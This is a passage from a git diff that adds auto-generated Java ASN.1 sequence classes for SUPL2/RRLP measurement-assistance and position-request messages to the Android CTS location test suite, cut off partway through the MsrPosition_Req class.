+ MsrAssistBTS_R98_ExpOTD result = new MsrAssistBTS_R98_ExpOTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MsrAssistBTS_R98_ExpOTD from encoded stream.
+ */
+ public static MsrAssistBTS_R98_ExpOTD fromPerAligned(byte[] encodedBytes) {
+ MsrAssistBTS_R98_ExpOTD result = new MsrAssistBTS_R98_ExpOTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ExpectedOTD expectedOTD_;
+ public ExpectedOTD getExpectedOTD() {
+ return expectedOTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExpectedOTD
+ */
+ public void setExpectedOTD(Asn1Object value) {
+ this.expectedOTD_ = (ExpectedOTD) value;
+ }
+ public ExpectedOTD setExpectedOTDToNewInstance() {
+ expectedOTD_ = new ExpectedOTD();
+ return expectedOTD_;
+ }
+
+ private ExpOTDUncertainty expOTDUncertainty_;
+ public ExpOTDUncertainty getExpOTDUncertainty() {
+ return expOTDUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExpOTDUncertainty
+ */
+ public void setExpOTDUncertainty(Asn1Object value) {
+ this.expOTDUncertainty_ = (ExpOTDUncertainty) value;
+ }
+ public ExpOTDUncertainty setExpOTDUncertaintyToNewInstance() {
+ expOTDUncertainty_ = new ExpOTDUncertainty();
+ return expOTDUncertainty_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getExpectedOTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExpectedOTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setExpectedOTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExpectedOTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "expectedOTD : "
+ + getExpectedOTD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getExpOTDUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExpOTDUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setExpOTDUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExpOTDUncertainty.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "expOTDUncertainty : "
+ + getExpOTDUncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MsrAssistBTS_R98_ExpOTD = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData.java
new file mode 100755
index 0000000..7aaa91a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class MsrAssistData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_MsrAssistData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MsrAssistData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MsrAssistData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MsrAssistData != null) {
+ return ImmutableList.of(TAG_MsrAssistData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MsrAssistData from encoded stream.
+ */
+ public static MsrAssistData fromPerUnaligned(byte[] encodedBytes) {
+ MsrAssistData result = new MsrAssistData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MsrAssistData from encoded stream.
+ */
+ public static MsrAssistData fromPerAligned(byte[] encodedBytes) {
+ MsrAssistData result = new MsrAssistData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SeqOfMsrAssistBTS msrAssistList_;
+ public SeqOfMsrAssistBTS getMsrAssistList() {
+ return msrAssistList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfMsrAssistBTS
+ */
+ public void setMsrAssistList(Asn1Object value) {
+ this.msrAssistList_ = (SeqOfMsrAssistBTS) value;
+ }
+ public SeqOfMsrAssistBTS setMsrAssistListToNewInstance() {
+ msrAssistList_ = new SeqOfMsrAssistBTS();
+ return msrAssistList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMsrAssistList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMsrAssistList();
+ }
+
+ @Override public void setToNewInstance() {
+ setMsrAssistListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfMsrAssistBTS.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "msrAssistList : "
+ + getMsrAssistList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MsrAssistData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java
new file mode 100755
index 0000000..45b12da
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class MsrAssistData_R98_ExpOTD extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_MsrAssistData_R98_ExpOTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MsrAssistData_R98_ExpOTD() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MsrAssistData_R98_ExpOTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MsrAssistData_R98_ExpOTD != null) {
+ return ImmutableList.of(TAG_MsrAssistData_R98_ExpOTD);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MsrAssistData_R98_ExpOTD from encoded stream.
+ */
+ public static MsrAssistData_R98_ExpOTD fromPerUnaligned(byte[] encodedBytes) {
+ MsrAssistData_R98_ExpOTD result = new MsrAssistData_R98_ExpOTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MsrAssistData_R98_ExpOTD from encoded stream.
+ */
+ public static MsrAssistData_R98_ExpOTD fromPerAligned(byte[] encodedBytes) {
+ MsrAssistData_R98_ExpOTD result = new MsrAssistData_R98_ExpOTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SeqOfMsrAssistBTS_R98_ExpOTD msrAssistList_R98_ExpOTD_;
+ public SeqOfMsrAssistBTS_R98_ExpOTD getMsrAssistList_R98_ExpOTD() {
+ return msrAssistList_R98_ExpOTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfMsrAssistBTS_R98_ExpOTD
+ */
+ public void setMsrAssistList_R98_ExpOTD(Asn1Object value) {
+ this.msrAssistList_R98_ExpOTD_ = (SeqOfMsrAssistBTS_R98_ExpOTD) value;
+ }
+ public SeqOfMsrAssistBTS_R98_ExpOTD setMsrAssistList_R98_ExpOTDToNewInstance() {
+ msrAssistList_R98_ExpOTD_ = new SeqOfMsrAssistBTS_R98_ExpOTD();
+ return msrAssistList_R98_ExpOTD_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMsrAssistList_R98_ExpOTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMsrAssistList_R98_ExpOTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setMsrAssistList_R98_ExpOTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfMsrAssistBTS_R98_ExpOTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "msrAssistList_R98_ExpOTD : "
+ + getMsrAssistList_R98_ExpOTD().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MsrAssistData_R98_ExpOTD = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Req.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Req.java
new file mode 100755
index 0000000..5722b0d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Req.java
@@ -0,0 +1,705 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_extensiondatatypes.ExtensionContainer;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class MsrPosition_Req extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_MsrPosition_Req
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MsrPosition_Req() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MsrPosition_Req;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MsrPosition_Req != null) {
+ return ImmutableList.of(TAG_MsrPosition_Req);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MsrPosition_Req from encoded stream.
+ */
+ public static MsrPosition_Req fromPerUnaligned(byte[] encodedBytes) {
+ MsrPosition_Req result = new MsrPosition_Req();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MsrPosition_Req from encoded stream.
+ */
+ public static MsrPosition_Req fromPerAligned(byte[] encodedBytes) {
+ MsrPosition_Req result = new MsrPosition_Req();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PositionInstruct positionInstruct_;
+ public PositionInstruct getPositionInstruct() {
+ return positionInstruct_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PositionInstruct
+ */
+ public void setPositionInstruct(Asn1Object value) {
+ this.positionInstruct_ = (PositionInstruct) value;
+ }
+ public PositionInstruct setPositionInstructToNewInstance() {
+ positionInstruct_ = new PositionInstruct();
+ return positionInstruct_;
+ }
+
+ private ReferenceAssistData referenceAssistData_;
+ public ReferenceAssistData getReferenceAssistData() {
+ return referenceAssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceAssistData
+ */
+ public void setReferenceAssistData(Asn1Object value) {
+ this.referenceAssistData_ = (ReferenceAssistData) value;
+ }
+ public ReferenceAssistData setReferenceAssistDataToNewInstance() {
+ referenceAssistData_ = new ReferenceAssistData();
+ return referenceAssistData_;
+ }
+
+ private MsrAssistData msrAssistData_;
+ public MsrAssistData getMsrAssistData() {
+ return msrAssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MsrAssistData
+ */
+ public void setMsrAssistData(Asn1Object value) {
+ this.msrAssistData_ = (MsrAssistData) value;
+ }
+ public MsrAssistData setMsrAssistDataToNewInstance() {
+ msrAssistData_ = new MsrAssistData();
+ return msrAssistData_;
+ }
+
+ private SystemInfoAssistData systemInfoAssistData_;
+ public SystemInfoAssistData getSystemInfoAssistData() {
+ return systemInfoAssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SystemInfoAssistData
+ */
+ public void setSystemInfoAssistData(Asn1Object value) {
+ this.systemInfoAssistData_ = (SystemInfoAssistData) value;
+ }
+ public SystemInfoAssistData setSystemInfoAssistDataToNewInstance() {
+ systemInfoAssistData_ = new SystemInfoAssistData();
+ return systemInfoAssistData_;
+ }
+
+ private GPS_AssistData gps_AssistData_;
+ public GPS_AssistData getGps_AssistData() {
+ return gps_AssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPS_AssistData
+ */
+ public void setGps_AssistData(Asn1Object value) {
+ this.gps_AssistData_ = (GPS_AssistData) value;
+ }
+ public GPS_AssistData setGps_AssistDataToNewInstance() {
+ gps_AssistData_ = new GPS_AssistData();
+ return gps_AssistData_;
+ }
+
+ private ExtensionContainer extensionContainer_;
+ public ExtensionContainer getExtensionContainer() {
+ return extensionContainer_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtensionContainer
+ */
+ public void setExtensionContainer(Asn1Object value) {
+ this.extensionContainer_ = (ExtensionContainer) value;
+ }
+ public ExtensionContainer setExtensionContainerToNewInstance() {
+ extensionContainer_ = new ExtensionContainer();
+ return extensionContainer_;
+ }
+
+
+
+ private Rel98_MsrPosition_Req_Extension extensionRel98_MsrPosition_Req_extension;
+ public Rel98_MsrPosition_Req_Extension getExtensionRel98_MsrPosition_Req_extension() {
+ return extensionRel98_MsrPosition_Req_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel98_MsrPosition_Req_Extension
+ */
+ public void setExtensionRel98_MsrPosition_Req_extension(Asn1Object value) {
+ extensionRel98_MsrPosition_Req_extension = (Rel98_MsrPosition_Req_Extension) value;
+ }
+ public void setExtensionRel98_MsrPosition_Req_extensionToNewInstance() {
+ extensionRel98_MsrPosition_Req_extension = new Rel98_MsrPosition_Req_Extension();
+ }
+
+ private Rel5_MsrPosition_Req_Extension extensionRel5_MsrPosition_Req_extension;
+ public Rel5_MsrPosition_Req_Extension getExtensionRel5_MsrPosition_Req_extension() {
+ return extensionRel5_MsrPosition_Req_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel5_MsrPosition_Req_Extension
+ */
+ public void setExtensionRel5_MsrPosition_Req_extension(Asn1Object value) {
+ extensionRel5_MsrPosition_Req_extension = (Rel5_MsrPosition_Req_Extension) value;
+ }
+ public void setExtensionRel5_MsrPosition_Req_extensionToNewInstance() {
+ extensionRel5_MsrPosition_Req_extension = new Rel5_MsrPosition_Req_Extension();
+ }
+
+ private Rel7_MsrPosition_Req_Extension extensionRel7_MsrPosition_Req_extension;
+ public Rel7_MsrPosition_Req_Extension getExtensionRel7_MsrPosition_Req_extension() {
+ return extensionRel7_MsrPosition_Req_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel7_MsrPosition_Req_Extension
+ */
+ public void setExtensionRel7_MsrPosition_Req_extension(Asn1Object value) {
+ extensionRel7_MsrPosition_Req_extension = (Rel7_MsrPosition_Req_Extension) value;
+ }
+ public void setExtensionRel7_MsrPosition_Req_extensionToNewInstance() {
+ extensionRel7_MsrPosition_Req_extension = new Rel7_MsrPosition_Req_Extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPositionInstruct() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPositionInstruct();
+ }
+
+ @Override public void setToNewInstance() {
+ setPositionInstructToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PositionInstruct.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "positionInstruct : "
+ + getPositionInstruct().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceAssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceAssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceAssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceAssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceAssistData : "
+ + getReferenceAssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMsrAssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMsrAssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setMsrAssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MsrAssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "msrAssistData : "
+ + getMsrAssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getSystemInfoAssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSystemInfoAssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setSystemInfoAssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SystemInfoAssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "systemInfoAssistData : "
+ + getSystemInfoAssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGps_AssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGps_AssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setGps_AssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPS_AssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gps_AssistData : "
+ + getGps_AssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtensionContainer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionContainer();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionContainerToNewInstance();
+ }
+
